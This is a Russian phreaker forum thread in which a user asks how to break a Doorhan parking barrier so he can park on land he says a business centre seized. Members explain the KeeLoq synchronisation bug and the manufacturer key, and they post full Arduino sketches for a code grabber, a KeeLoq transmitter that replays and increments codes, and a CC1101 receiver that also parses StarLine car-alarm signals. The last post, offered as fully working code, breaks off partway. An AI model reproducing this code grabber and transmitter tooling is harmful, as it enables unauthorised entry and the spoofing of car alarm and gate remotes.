Фрикер Клуб

Фрикер Клуб (https://phreakerclub.com/forum/index.php)
-   Песочница-2 (https://phreakerclub.com/forum/forumdisplay.php?f=14)
-   -   Шлагбаум Doorhan. Перехватить код! (https://phreakerclub.com/forum/showthread.php?t=7159)

tetrod 16.02.2020 01:04

Шлагбаум Doorhan. Перехватить код!
 
Всем привет! Решил, что нужно ликвидировать несправедливость. Бизнес-центр захватил землю под парковку. Нужно туда тоже ставить свою машину.

Изучаю форум этот про взлом шлагбаума Doorhan. Не могу никак понять:

1) Что такое "баг синхронизации"? Поясните, пожалуйста. В гугле не нашел ответа.
2) Что такое "мануфактурник"? И почему именно ОН нужен для расшифровки KEELOQ-кода от Doorhan? Как я понимаю, я перехватываю коды с брелка от шлагбаума. И чтобы расшифровать эти коды, нужен "мануфактурник". Зачем? Где его взять?

Art2802 16.02.2020 07:45

Re: Шлагбаум Doorhan. Перехватить код!
 
Баг синхронизации позволяет без использования мануфактурного ключа отправив несколько правильных последовательностей открыть шлагбаум. мануфактурник нужен для того, чтобы сгенерировать динамическую часть кода имея серийник и номер кнопки прописанного ключа.
А вот где взять мануфактурник это вопрос. Такое ощущение что он есть у всех, но я так и не нашел от дорхана, хотя очень бы не помешал.

Art2802 16.02.2020 07:52

Re: Шлагбаум Doorhan. Перехватить код!
 
А где мой ответ?

Art2802 16.02.2020 07:55

Re: Шлагбаум Doorhan. Перехватить код!
 
Почему моя учетка на форуме не может писать личные сообщения и посты?

shooter 16.02.2020 11:08

Re: Шлагбаум Doorhan. Перехватить код!
 
На форуме всё есть:
1) http://phreakerclub.com/27
2) Ключ шифрования.
http://phreakerclub.com/1483
http://phreakerclub.com/forum/showthread.php?t=67

EPA 17.02.2020 06:34

Re: Шлагбаум Doorhan. Перехватить код!
 
Цитата:

Сообщение от Art2802 (Сообщение 59276)
Почему моя учетка на форуме не может писать личные сообщения и посты?

Будешь активным участником и будет твоя "утечка" отправлять личку.
По поводу Дурхана: на старых Дурхан баг синхнонизации прокатит, на новых Дурхан не прокатит и нужно мануфаурник. На эту ветку слей три снятых с последовательных сигнала. Это для того проверить тебя что ты порожняк не гонишь, ибо эти сказки про злых КСК мы все слышали.

tetrod 17.02.2020 19:19

Re: Шлагбаум Doorhan. Перехватить код!
 
Написал код, все принятые коды пишутся в EEPROM. Пошел смотреть что получится. Вот такие коды пришли:
3) 6403D60A 3257C005
4) C0EA24C9 9AF45002
5) DFBB9322 77A8A091
7) FC22BBF1 D73302
8) FC22BBF1 D73302
9) FC22BBF1 D73302
10) FC22BBF1 D73302
11) FC22BBF1 D73302
12) FC22BBF1 D73302
13) FC22BBF1 D73302
14) 39B7E03 3BC7F02
15) E92E4757 3BC7F002
16) 3A8134B4 DF30042
17) 3A8134B4 DF30042
18) 3A8134B4 DF30042
19) 18A510E2 DF30042
20) 18A510E2 DF30042
21) 18A510E2 DF30042
22) 18A510E2 DF30042
23) 9860F92F DF30042
24) 9860F92F DF30042
25) 9860F92F DF30042
26) 9860F92F DF30042
27) 64C3972 DF30042
28) 64C3972 DF30042
29) 64C3972 DF30042
30) 64C3972 DF30042
31) 8CC36DA5 DF30042
32) 8CC36DA5 DF30042
33) 8CC36DA5 DF30042
34) 8CC36DA5 DF30042

Коды с 15 по 34 - это от сигнализации автомобильной (это 100%). Остальные - не знаю от чего. Как теперь действовать, подскажите пожалуйста. У меня есть подозрения, что мой кодграббер ловит коды от автосигнализаций. Видите, все коды разные. Как тут ключ шлагбаума вычислить? Все взять и отправить через радиопередатчик?

EPA 17.02.2020 19:56

Re: Шлагбаум Doorhan. Перехватить код!
 
с 3-15 без похожего серийника в кодах ничего не говорит, только одно надо кодинг подправить: 1) чтоб меньше 64 бит поиманного сигнала не записывал 2) одинаковые посылки тоже не писал. Где код взял?

tetrod 17.02.2020 20:57

Re: Шлагбаум Doorhan. Перехватить код!
 
Расскажите, не могу понять. Как на парковке работает шлагбаум Doorhan? Есть скажем 200 машин и к ним 200 брелоков. Во всех брелоках одинаковых код зашит, или каждый код строго индивидуальный? Тогда получается, что в приемнике шлагбаума зашито 200 вариантов ключей, по приему которых шлагбаум будет открываться.

Код взял отсюда: http://skproj.ru/klonirovanie-brelkov-an-motors-at-4/. Или такой код не пойдет? И я не в правильном направлении двигаюсь?

EPA 18.02.2020 18:29

Re: Шлагбаум Doorhan. Перехватить код!
 
Тебе же shooter дал ссылки там всё написано. Doorhan использует формат Keeloq. Так что у всех 200 машин индивидуальный код. Читай ... читай... читай... самое главное не лениться.

Добавлено через 10 минут
Короче есть на форуме тема от Valerona для Ардуино там лучше код. У меня почти такой же.

heat 20.02.2020 10:07

Re: Шлагбаум Doorhan. Перехватить код!
 
вот тебе нормальный приём


#define RX 2
#define swPin 5

Keeloq k(0xhigh,0xlow); <-- MAN


volatile byte level=255;
volatile unsigned long last, len;
byte p_level, fbutt, decbutt;
unsigned long p_len, p_len_prev, hdec, hop;
boolean dec_valid = false;


struct
{
byte state;
unsigned long TE;
byte pre_count, data[8], dat_bit;
} keeloq;

void setbit(byte *data, byte n)
{
data[n/8]|=1<<(n%8);
}

byte florsstate = 0;
byte i = 0; // count of bits stored
byte nicereceive[52];


#define KL_MIN_PRE_COUNT 4
#define KL_MAX_TE 500
#define KL_MIN_TE 300
#define KL_MAX_BITS 64

void process_keeloq()
{
switch(keeloq.state)
{
case 0:
if(p_level) break;
keeloq.state=1;
keeloq.pre_count=0;
break;

case 1: //pre+hdr
if(p_len>=KL_MIN_TE && p_len<=KL_MAX_TE) keeloq.pre_count++;
else if(!p_level && p_len>=KL_MIN_TE*10 && p_len<=KL_MAX_TE*10 && keeloq.pre_count>=KL_MIN_PRE_COUNT)
{
keeloq.TE=p_len/10;
keeloq.state=2;
keeloq.dat_bit=0;
keeloq.data[0]=0x00;
keeloq.data[1]=0x00;
keeloq.data[2]=0x00;
keeloq.data[3]=0x00;
keeloq.data[4]=0x00;
keeloq.data[5]=0x00;
keeloq.data[6]=0x00;
keeloq.data[7]=0x00;
dec_valid = false;
}
else
{
keeloq.state=0;
break;
}
break;

case 2: //dat
if(!p_level) break;

if(p_len<keeloq.TE/2 || p_len>keeloq.TE*3)
{
keeloq.state=0;
break;
}

if(p_len<=keeloq.TE+keeloq.TE/2) setbit(keeloq.data, keeloq.dat_bit);
if(++keeloq.dat_bit==KL_MAX_BITS) keeloq.state=100;
break;
}
}



void dump_hex(byte *buf, byte bits)
{
byte a;
if (dec_valid) Serial.print("KEELOQ_DECRYPT: "); else Serial.print("KEELOQ: ");
for(a=0; a<(bits+7)/8; a++)
{
if(buf[a]<=0x0f) Serial.print('0');
Serial.print(buf[a], HEX);
Serial.print(" ");
}
Serial.println("");
}

void rx_int()
{
if(level!=255) return;

len=micros()-last;
last=micros();

if(digitalRead(RX)==HIGH) level=0;
else level=1;
}

void setup()
{
pinMode(swPin, OUTPUT);
digitalWrite(swPin, HIGH);
attachInterrupt(0, rx_int, CHANGE);

Serial.begin(115200);
while(!Serial);

Serial.println("LOGGER START");
Serial.println("");

interrupts();
}

byte a;

void loop()
{
if(level!=255)
{
noInterrupts();
p_level=level;
p_len=len;
len=0;
level=255;
interrupts();

process_keeloq();


p_len_prev=p_len;
}

if(keeloq.state==100)
{
hop =keeloq.data[3]; hop<<=8;
hop+=keeloq.data[2]; hop<<=8;
hop+=keeloq.data[1]; hop<<=8;
hop+=keeloq.data[0];
hdec = k.decrypt(hop);
keeloq.data[3]=hdec; hdec>>=8;
keeloq.data[2]=hdec; hdec>>=8;
keeloq.data[1]=hdec; hdec>>=8;
keeloq.data[0]=hdec;
decbutt=keeloq.data[0];
decbutt>>=4;
fbutt=keeloq.data[7];
fbutt>>=4;
if((fbutt == decbutt) && (keeloq.data[1] == keeloq.data[4])) dec_valid = true;

dump_hex(keeloq.data, 64);
keeloq.state=0;
}
}

Добавлено через 2 минуты
а это отправка пакета


#define TX 8

#include <Keeloq.h>
Keeloq k(0xhigh,low); <-- MAN

byte CODE[8];
byte TCODE[8];

byte Buffer_Fix[4] = {0x0E, 0x00, 0x07, 0x20};
byte S1, S2 ;
unsigned long henc, hop ;

void setup()
{
Serial.begin(115200);
Serial.println("KEELOQ SEND:");
pinMode(TX, OUTPUT);

CODE[0]=0;
CODE[1]=0;
CODE[2]=0;
CODE[3]=0;
CODE[4]=0;
CODE[5]=0;
CODE[6]=0;
CODE[7]=0;

hop=0;
henc=0;

S1 = 0x0;
S2 = 0x0;


}

void loop()
{

hop = Buffer_Fix[3] ; hop<<=8;
hop+= Buffer_Fix[0] ; hop<<=8;
hop+= S1 ; hop<<=8;
hop+= S2 ;

if (S2 == 255) {S2 = 0;S1++;}
else S2++;

Serial.print (hop ,HEX);
Serial.println("");

henc = k.encrypt(hop);

Serial.print (henc ,HEX);
Serial.println("");

CODE[0]=henc; henc>>=8;
CODE[1]=henc; henc>>=8;
CODE[2]=henc; henc>>=8;
CODE[3]=henc;
CODE[4] = Buffer_Fix[0];
CODE[5] = Buffer_Fix[1];
CODE[6] = Buffer_Fix[2];
CODE[7] = Buffer_Fix[3];

for (int i=0; i<6; i++) {

SendKeeloq(CODE);
}
Serial.print(">>> ");
dump_hex(CODE, 64);
Serial.println("");

CODE[0]=0;
CODE[1]=0;
CODE[2]=0;
CODE[3]=0;
CODE[4]=0;
CODE[5]=0;
CODE[6]=0;
CODE[7]=0;

hop=0;
henc=0;

delay(5000);
}

void SendMeander(unsigned int meanderLen)
{
digitalWrite(TX, HIGH);
delayMicroseconds(meanderLen);
digitalWrite(TX, LOW);
delayMicroseconds(meanderLen);
}
// Keeloq ----------------------------------------------
void SendKeeloqPreambula()
{
for (byte i=0; i<11; i++)
SendMeander(400);
}

void SendKeeloq(unsigned char *TCODE)
{
signed char a;
SendKeeloqPreambula();
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(10*400);

for(a=0; a<66; a++)
{
digitalWrite(TX, HIGH);
delayMicroseconds(400);
if(TCODE[a/8]&(1<<(a%8))) digitalWrite(TX, LOW);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(400);
}
delay(16);
}

void dump_hex(byte *buf, byte bits)
{
byte a;

for(a=0; a<(bits+7)/8; a++)
{
if(buf[a]<=0x0f) Serial.print('0');
Serial.print(buf[a], HEX);
}
Serial.println("");
}
//---------------------------------------------------------

tetrod 25.02.2020 19:48

Re: Шлагбаум Doorhan. Перехватить код!
 
Здравствуйте, уважаемые форумчане! Благодарю за ваши ответы. У меня не получается считать код от шлагбаума. Товарищ heat, спасибо за Ваш код, но у меня брелок от шлагбаума не записывается с вашей программой. У меня есть приемник и передатчик, купленные с Алиэкспресс. Приемник и передатчик обмениваются между собой посылками, код проходит. Но приемник не хочет принимать код от брелка.

Вместе с Ардуино использую вот такие радиомодули:
https://d.radikal.ru/d14/2002/bc/952e7c860bbd.jpg

В программу приемника добавлен мной код, чтобы при принятии сигнала была вибрация. Также есть запоминание в EEPROM память принимаемого слова. Также есть вывод на дисплей принимаемого слова.

#define RX 2 //подключен радиоприемник
#include <PCD8544.h> //библиотека для LCD дисплея
#include <avr/eeprom.h>
#include <Keeloq.h>
static PCD8544 lcd;
static unsigned long counter=1, t=1, s=1;
int j=0, z=0;
volatile static long code1 = 0;
byte t0,t1,t2,t3,t4,t5,t6,t7;
const int motor_pin = 8; //вибромоторчик
long interval = 500; // интервал между включение/выключение вибромотора (0,5 секунд)
long previousMillis = 0;
Keeloq k('0xhigh','0xlow'); //<-- MAN

volatile byte level=255;
volatile unsigned long last, len;
byte p_level, fbutt, decbutt;
unsigned long p_len, p_len_prev, hdec, hop;
boolean dec_valid = false;

struct
{
byte state;
unsigned long TE;
byte pre_count, data[8], dat_bit;
} keeloq;

void setbit(byte *data, byte n)
{
data[n/8]|=1<<(n%8);
}

byte florsstate = 0;
byte i = 0; // count of bits stored
byte nicereceive[52];

#define KL_MIN_PRE_COUNT 4
#define KL_MAX_TE 500
#define KL_MIN_TE 300
#define KL_MAX_BITS 64

void process_keeloq()
{
switch(keeloq.state)
{
case 0:
if(p_level) break;
keeloq.state=1;
keeloq.pre_count=0;
break;

case 1: //pre+hdr
if(p_len>=KL_MIN_TE && p_len<=KL_MAX_TE) keeloq.pre_count++;
else if(!p_level && p_len>=KL_MIN_TE*10 && p_len<=KL_MAX_TE*10 && keeloq.pre_count>=KL_MIN_PRE_COUNT)
{
keeloq.TE=p_len/10;
keeloq.state=2;
keeloq.dat_bit=0;
keeloq.data[0]=0x00;
keeloq.data[1]=0x00;
keeloq.data[2]=0x00;
keeloq.data[3]=0x00;
keeloq.data[4]=0x00;
keeloq.data[5]=0x00;
keeloq.data[6]=0x00;
keeloq.data[7]=0x00;
dec_valid = false;
}
else
{
keeloq.state=0;
break;
}
break;

case 2: //dat
if(!p_level) break;

if(p_len<keeloq.TE/2 || p_len>keeloq.TE*3)
{
keeloq.state=0;
break;
}

if(p_len<=keeloq.TE+keeloq.TE/2) setbit(keeloq.data, keeloq.dat_bit);
if(++keeloq.dat_bit==KL_MAX_BITS) keeloq.state=100;
break;
}
}

void dump_hex(byte *buf, byte bits)
{
byte a;
if (dec_valid) Serial.print("KEELOQ_DECRYPT: "); else Serial.print("KEELOQ: ");

for(a=0; a<(bits+7)/8; a++)
{
if(buf[a]<=0x0f) Serial.print('0');
Serial.print(buf[a], HEX);
Serial.print(" ");
}
Serial.println("");
}

void rx_int()
{
if(level!=255) return;

len=micros()-last;
last=micros();

if(digitalRead(RX)==HIGH) level=0;
else level=1;
}

void setup()
{
attachInterrupt(0, rx_int, CHANGE);
pinMode(motor_pin, OUTPUT);
Serial.begin(9600);
while(!Serial);

Serial.println("Кто молодец? Я молодец!");
Serial.println("");

interrupts();
lcd.begin(84,48);
lcd.setCursor(0,0);
lcd.print(" Reciever ");
lcd.print(" is ready! ");
//Вывод в монитор порта содержимого EEPROM-памяти
while (j<=1016)
{
Serial.print(t);
Serial.print(") ");
Serial.print(eeprom_read_byte(j+3), HEX);
Serial.print(eeprom_read_byte(j+2), HEX);
Serial.print(eeprom_read_byte(j+1), HEX);
Serial.print(eeprom_read_byte(j), HEX);
Serial.print(" ");
Serial.print(eeprom_read_byte(j+7), HEX);
Serial.print(eeprom_read_byte(j+6), HEX);
Serial.print(eeprom_read_byte(j+5), HEX);
Serial.println(eeprom_read_byte(j+4), HEX);
j=j+8;
t++;
}
}

byte a;

void loop()
{
unsigned long currentMillis = millis();
if (s==2)
{
digitalWrite(motor_pin, HIGH);
s=1;
previousMillis=millis();
}
if(currentMillis - previousMillis > interval)
{
digitalWrite(motor_pin, LOW);
}
if(level!=255)
{
noInterrupts();
p_level=level;
p_len=len;
len=0;
level=255;
interrupts();

process_keeloq();

p_len_prev=p_len;
}

if(keeloq.state==100)
{
hop =keeloq.data[3]; hop<<=8;
hop+=keeloq.data[2]; hop<<=8;
hop+=keeloq.data[1]; hop<<=8;
hop+=keeloq.data[0];
hdec = k.decrypt(hop);
keeloq.data[3]=hdec; hdec>>=8;
keeloq.data[2]=hdec; hdec>>=8;
keeloq.data[1]=hdec; hdec>>=8;
keeloq.data[0]=hdec;
decbutt=keeloq.data[0];
decbutt>>=4;
fbutt=keeloq.data[7];
fbutt>>=4;
if((fbutt == decbutt) && (keeloq.data[1] == keeloq.data[4])) dec_valid = true;

dump_hex(keeloq.data, 64);
keeloq.state=0;
//Вывод на дисплей
lcd.setCursor(0, 2);
lcd.print(counter);

t0=keeloq.data[0];
t1=keeloq.data[1];
t2=keeloq.data[2];
t3=keeloq.data[3];
t4=keeloq.data[4];
t5=keeloq.data[5];
t6=keeloq.data[6];
t7=keeloq.data[7];
lcd.setCursor(0, 3);
lcd.print(t0, HEX);
lcd.setCursor(14, 3);
lcd.print(t1, HEX);
lcd.setCursor(28, 3);
lcd.print(t2, HEX);
lcd.setCursor(42, 3);
lcd.print(t3, HEX);
lcd.setCursor(0, 4);
lcd.print(t4, HEX);
lcd.setCursor(14, 4);
lcd.print(t5, HEX);
lcd.setCursor(28, 4);
lcd.print(t6, HEX);
lcd.setCursor(42, 4);
lcd.print(t7, HEX);

//запись перехваченного ключа в EEPROM
eeprom_write_byte(z, t3);
eeprom_write_byte(z+1, t2);
eeprom_write_byte(z+2, t1);
eeprom_write_byte(z+3, t0);
eeprom_write_byte(z+4, t7);
eeprom_write_byte(z+5, t6);
eeprom_write_byte(z+6, t5);
eeprom_write_byte(z+7, t4);
z=z+8;
counter++;
s=2;
}
}

Добавлено через 4 минуты
Вот так все выглядит. Код на дисплее на фото левый (не обращайте внимания на это).
https://b.radikal.ru/b04/2002/e1/95d3228266ff.jpg

heat 26.02.2020 00:01

Re: Шлагбаум Doorhan. Перехватить код!
 
1. большинство этих дешевых приемников безобразного качества.
2. самый нормальный прием на cc1101 . при правильных настройках в городе метров 300 без проблем
3. возьми нормальный дисплей oled который по i2c подключается - маленькие чернобелые на али продаются клоны адафрут . те что на фото я просто выкинул .
4. громоздкие конструкции в боевом режиме не особо .

Добавлено через 2 минуты
не пиши пакеты в еепром постоянно сдохнет проц . там не так много циклов .

tetrod 26.02.2020 01:22

Re: Шлагбаум Doorhan. Перехватить код!
 
heat, подскажите пожалуйста. Я правильно понимаю Вас, что из моей конструкции можно будет просто выкинуть радиоприемник с Алиэкспресс и воткнуть приемник cc1101? Ничего менять в электрической схеме не нужно или в программе?

heat 26.02.2020 09:52

Re: Шлагбаум Doorhan. Перехватить код!
 
Цитата:

Сообщение от tetrod (Сообщение 59560)
heat, подскажите пожалуйста. Я правильно понимаю Вас, что из моей конструкции можно будет просто выкинуть радиоприемник с Алиэкспресс и воткнуть приемник cc1101? Ничего менять в электрической схеме не нужно или в программе?

не правильно . cc1101 серьезный инструмент ему нужен конфиг и подключается он по spi шине . качать smart rf studio изучать как вливается конфиг и смотреть примеры . у сс1101 есть команды управления . инициализация , сброс , приём , передача , обновление конфига . читать про все это . просто так cc1101 не уставновить

ну вот например приём на cc1101

Код:

#include <SPI.h>

#define CC_CS  10
#define CC_RX  2 //GDO2
#define CC_TX  3 //GDO0

#define SRES  0x30
#define SCAL  0x33
#define SRX  0x34
#define STX  0x35
#define SIDLE 0x36
#define SPWD  0x39

#define IOCFG2    0x00
#define IOCFG1    0x01
#define IOCFG0    0x02
#define FIFOTHR    0x03
#define SYNC1      0x04
#define SYNC0      0x05
#define PKTLEN    0x06
#define PKTCTRL1  0x07
#define PKTCTRL0  0x08
#define ADDR      0x09
#define CHANNR    0x0A
#define FSCTRL1    0x0B
#define FSCTRL0    0x0C
#define FREQ2      0x0D
#define FREQ1      0x0E
#define FREQ0      0x0F
#define MDMCFG4    0x10
#define MDMCFG3    0x11
#define MDMCFG2    0x12
#define MDMCFG1    0x13
#define MDMCFG0    0x14
#define DEVIATN    0x15
#define MCSM2      0x16
#define MCSM1      0x17
#define MCSM0      0x18
#define FOCCFG    0x19
#define BSCFG      0x1A
#define AGCTRL2    0x1B
#define AGCTRL1    0x1C
#define AGCTRL0    0x1D
#define WOREVT1    0x1E
#define WOREVT0    0x1F
#define WORCTRL    0x20
#define FREND1    0x21
#define FREND0    0x22
#define FSCAL3    0x23
#define FSCAL2    0x24
#define FSCAL1    0x25
#define FSCAL0    0x26
#define RCCTRL1    0x27
#define RCCTRL0    0x28
#define FSTEST    0x29
#define PTEST      0x2A
#define AGCTEST    0x2B
#define TEST2      0x2C
#define TEST1      0x2D
#define TEST0      0x2E
#define PATABLE    0x3E

const byte cc_config[] PROGMEM=
{
  IOCFG0,  0b00000000,
  IOCFG2,  0b00001101,
  FIFOTHR, 0b01000111,
  PKTCTRL0,0b00110010,
  FSCTRL1, 0x06,
  FSCTRL0, 0x00,
  FREQ2,  0x10,
  FREQ1,  0xB0,
  FREQ0,  0x71,
  MDMCFG4, 0x16,
  MDMCFG3, 0xe4,
  MDMCFG2, 0b00110000,
  MDMCFG1, 0x22,
  MDMCFG0, 0xF8,
  MCSM2,  0x07,
  MCSM1,  0x30,
  MCSM0,  0x18,
  AGCTRL2, 0b00000100,
  AGCTRL1, 0x00,
  AGCTRL0, 0b00010000,
  FREND1,  0xB6,
  FREND0,  0b00010001,
  FSCAL3,  0xE9,
  FSCAL2,  0x2A,
  FSCAL1,  0x00,
  FSCAL0,  0x1F,
  TEST2,  0x81,
  TEST1,  0x35,
  TEST0,  0x09,
  PATABLE, 0x00,
  PATABLE, 0xc0,
  PATABLE, 0x00,
  PATABLE, 0x00,
  PATABLE, 0x00,
  PATABLE, 0x00,
  PATABLE, 0x00,
  PATABLE, 0x00
};

volatile byte level=255;
volatile unsigned long last, len;
byte p_level;
unsigned long p_len, p_len_prev;

struct
{
  byte state;
  unsigned long TE;
  byte pre_count, data[8], dat_bit;
} keeloq;

struct
{
  byte state;
  byte pre_count, data[8], dat_bit;
} starline;

void cc1101_strobe(byte s)
{
  digitalWrite(CC_CS, LOW);
  delay(1);
  SPI.transfer(s);
  digitalWrite(CC_CS, HIGH);
}

void cc1101_init()
{
  byte a;

  cc1101_strobe(SRES);
  delay(10);

  digitalWrite(CC_CS, LOW);
  for(a=0; a<sizeof(cc_config); a++)
    SPI.transfer(pgm_read_byte(cc_config+a));
  digitalWrite(CC_CS, HIGH);
}

void rtx_rx()
{
  cc1101_strobe(SIDLE);
  cc1101_strobe(SRX);
}

void rtx_tx()
{
  cc1101_strobe(SIDLE);
  cc1101_strobe(STX);
}

void setbit(byte *data, byte n)
{
  data[n/8]|=1<<(n%8);
}

#define KL_MIN_PRE_COUNT 4
#define KL_MAX_TE 500
#define KL_MIN_TE 300
#define KL_MAX_BITS 64

void process_keeloq()
{
  switch(keeloq.state)
  {
    case 0:
      if(p_level) break;
      keeloq.state=1;
      keeloq.pre_count=0;
      break;

    case 1: //pre+hdr
      if(p_len>=KL_MIN_TE && p_len<=KL_MAX_TE) keeloq.pre_count++;
      else if(!p_level && p_len>=KL_MIN_TE*10 && p_len<=KL_MAX_TE*10 && keeloq.pre_count>=KL_MIN_PRE_COUNT)
      {
        keeloq.TE=p_len/10;
        keeloq.state=2;
        keeloq.dat_bit=0;
        keeloq.data[0]=0x00;
        keeloq.data[1]=0x00;
        keeloq.data[2]=0x00;
        keeloq.data[3]=0x00;
        keeloq.data[4]=0x00;
        keeloq.data[5]=0x00;
        keeloq.data[6]=0x00;
        keeloq.data[7]=0x00;
      }
        else
      {
        keeloq.state=0;
        break;
      }
      break;

    case 2: //dat
      if(!p_level) break;

      if(p_len<keeloq.TE/2 || p_len>keeloq.TE*3)
      {
        keeloq.state=0;
        break;
      }

      if(p_len<=keeloq.TE+keeloq.TE/2) setbit(keeloq.data, keeloq.dat_bit);
      if(++keeloq.dat_bit==KL_MAX_BITS) keeloq.state=100;
      break;
  }
}

#define SL_MIN_PRE_COUNT 4
#define SL_MAX_PRE 1200
#define SL_MIN_PRE 800
#define SL_MAX_ZERO 350
#define SL_MIN_ZERO 100
#define SL_MAX_ONE 700
#define SL_MIN_ONE 400
#define SL_MIN_BITS 16
#define SL_MAX_BITS 64

void process_starline()
{
  byte b;

  switch(starline.state)
  {
    case 0:
      if(p_level) break;
      starline.state=1;
      starline.pre_count=0;
      break;

    case 1: //pre
      if(p_len>=SL_MIN_PRE && p_len<=SL_MAX_PRE) starline.pre_count++;
      else if(p_len<SL_MIN_PRE && starline.pre_count>=SL_MIN_PRE_COUNT)
      {
        starline.state=2;
        starline.dat_bit=0;
        starline.data[0]=0x00;
        starline.data[1]=0x00;
        starline.data[2]=0x00;
        starline.data[3]=0x00;
        starline.data[4]=0x00;
        starline.data[5]=0x00;
        starline.data[6]=0x00;
        starline.data[7]=0x00;
      }
        else
      {
        starline.state=0;
        break;
      }
      break;

    case 2: //dat
      if(p_level) break;
     
      if(p_len_prev>=SL_MIN_ONE && p_len_prev<=SL_MAX_ONE/* &&
        p_len>=SL_MIN_ONE && p_len<=SL_MAX_ONE*/) b=1;
      else
      if(p_len_prev>=SL_MIN_ZERO && p_len_prev<=SL_MAX_ZERO/* &&
        p_len>=SL_MIN_ZERO && p_len<=SL_MAX_ZERO*/) b=0;
      else
      {
        if(starline.dat_bit>=SL_MIN_BITS) starline.state=100;
          else starline.state=0;
        break;
      }

      if(b) setbit(starline.data, starline.dat_bit);
      if(++starline.dat_bit==SL_MAX_BITS) starline.state=100;
      break;
  }
}

void dump_hex(byte *buf, byte bits)
{
  byte a;
 
  for(a=0; a<(bits+7)/8; a++)
  {
    if(buf[a]<=0x0f) Serial.print('0');
    Serial.print(buf[a], HEX);
    Serial.print(" ");
  }
  Serial.println("");
}

void rx_int()
{
  if(level!=255) return;
 
  len=micros()-last;
  last=micros();
 
  if(digitalRead(CC_RX)==HIGH) level=0;
    else level=1;
}

void setup()
{
  pinMode(CC_RX, INPUT);
  pinMode(CC_CS, OUTPUT);
  digitalWrite(CC_CS, HIGH);
  attachInterrupt(0, rx_int, CHANGE);
 
  Serial.begin(115200);
  while(!Serial);

  Serial.println("MEGA OVERFUCK ARDUINO LOGGER BY HUY FOR NARKOMANS");
  Serial.println("");
 
  SPI.begin();
  cc1101_init();
  rtx_rx(); 
  interrupts();
}

void loop()
{
  if(level!=255)
  {
    p_level=level;
    p_len=len;
    len=0;
    level=255;
   
    process_keeloq();
    process_starline();
   
    p_len_prev=p_len;
  }
 
  if(keeloq.state==100)
  {
    Serial.print("KEELOQ: ");
    dump_hex(keeloq.data, 64);
    keeloq.state=0;
  }
 
  if(starline.state==100)
  {
    Serial.print("STARLINE[");
    Serial.print(starline.dat_bit);
    Serial.print("]: ");
    dump_hex(starline.data, starline.dat_bit);
    starline.state=0;
  }
}


tetrod 26.02.2020 18:53

Re: Шлагбаум Doorhan. Перехватить код!
 
heat, шлагбаумы Doorhan бывают же на 868 МГц ? Я думаю, может мой шлагбаум на этой частоте работает? Тогда закажу по интернету сразу модули cc1101 на 433 МГц и на 868 МГц сразу, чтобы время не терять.

dim3348 26.02.2020 20:21

Re: Шлагбаум Doorhan. Перехватить код!
 
Не все Китайские приемники хреновые. Из разных опробованных мной, худший результат показали SYN480R и WL101-341. Лучшим оказался RXD8. Когда ему ещё по входу цепляешь ПАВ, вообще супер.

heat 26.02.2020 21:00

Re: Шлагбаум Doorhan. Перехватить код!
 
1 . нет , не бывают
2. CC1101 универсальный мультичастотный приёмник - передатчик умеющий даже логически обрабатывать сигнал в цифру в некоторых режимах .
в примере строб трансмит строб приём есть . загрузка конфига на частоту 433 .
в конфиге примерно так - строб инициализация , загрузка конфига. строб прием . конфигурация 433 частота настроить ноги на прозрачный приём - т .е. что принимаем то отправляем на ноги . без логического анализа .
читай ветку cc1101 . это не просто приёмник передатчик с выводами + - data

Art2802 25.04.2020 20:56

Re: Шлагбаум Doorhan. Перехватить код!
 
О, я думал тема уже умерла на совсем :)
Я на этом форуме многое нашел, даже кусок мануфака рабочего от DoorHan, остальное домыслил, минут 15 ушло на core i5. В коде я его убрал, вроде как моветон.
Выкладываю полностью рабочий код для приема и передачи подобных DoorHan систем с шифрованием и дешифрованием (). Для работы нужен приемник, передатчик и ардуинка, ну и естесна мануфак.
Цитата:

#define rxPin 2 // сюда у нас подключен приемник
#define txPin A2 // а сюда передатчик
#define Pe 413 //DoorHan
#define Pe2 Pe*2 //DoorHan
#define MAX_DELTA 200 //Максимальное отклонение от длительности при приеме

volatile static uint64_t manufacturer = 0x0123456789012345; //тут надо поставить мануфактурник DoorHan

volatile byte level=255;
volatile unsigned long last, len;
volatile unsigned int r=0;
volatile unsigned int lolen, hilen;
//volatile unsigned int ii=0;
volatile static byte bcounter = 0; // количество принятых битов
volatile static long code1 = 0; // зашифрованная часть
volatile static long code2 = 0; // фиксированная часть
volatile static long Cache1 = 0; // зашифрованная часть
volatile static long Cache2 = 0; // фиксированная часть
volatile static long Cache1R = 0; // зашифрованная часть
volatile static long Cache2R = 0; // зашифрованная часть
volatile static long Cache11 = 0; // зашифрованная часть
volatile static long Cache22 = 0; // фиксированная часть
volatile static long Cache23 = 0; // фиксированная часть
volatile static long Cache1O = 0; // зашифрованная часть
volatile static long Cache2O = 0; // фиксированная часть


///////////////кусок из Wiki функции кодирования и декодирования Keeloq
# define KeeLoq_NLF 0x3A5C742E
# define bitn(x,n) (((x)>>(n))&1)
# define g5(x,a,b,c,d,e) (bitn(x,a)+bitn(x,b)*2+bitn(x,c)*4+bitn(x,d)*8+bit n(x,e)*16)

uint32_t KeeLoq_Encrypt (const uint32_t data, const uint64_t key){
uint32_t x = data, r;
for (r = 0; r < 528; r++)
x = (x>>1)^((bitn(x,0)^bitn(x,16)^(u32)bitn(key,r&63)^ bitn(KeeLoq_NLF,g5(x,1,9,20,26,31)))<<31);
return x;
}

uint32_t KeeLoq_Decrypt (const uint32_t data, const uint64_t key){
uint32_t x = data, r;
for (r = 0; r < 528; r++)
x = (x<<1)^bitn(x,31)^bitn(x,15)^(u32)bitn(key,(15-r)&63)^bitn(KeeLoq_NLF,g5(x,0,8,19,25,30));
return x;
}

boolean CheckValue(unsigned int base, unsigned int value) {
return ((value == base) || ((value > base) && ((value - base) < MAX_DELTA)) || ((value < base) && ((base - value) < MAX_DELTA)));
}
///////////////////////////////////////////////////////////////////////////


//функция вызывается прерыванием с пина на котором сидит приемник
void rx_int()
{
noInterrupts();
len=micros()-last;
last=micros();
interrupts();
if(digitalRead(rxPin)==HIGH)
{
level=1;
lolen=len;
}
else
{
level=0;
hilen=len;
}

///////////////////Прием Doorhan и ему подобные
if (level == 1) {
if (CheckValue(Pe, hilen) && CheckValue(Pe2, lolen)) {
if (bcounter < 32)
code1 = (code1 << 1) | 1;
else if (bcounter < 64)
code2 = (code2 << 1) | 1;
bcounter++;
}
else if (CheckValue(Pe2, hilen) && CheckValue(Pe, lolen)) { // valid 0
if (bcounter < 32)
code1 = (code1 << 1) | 0;
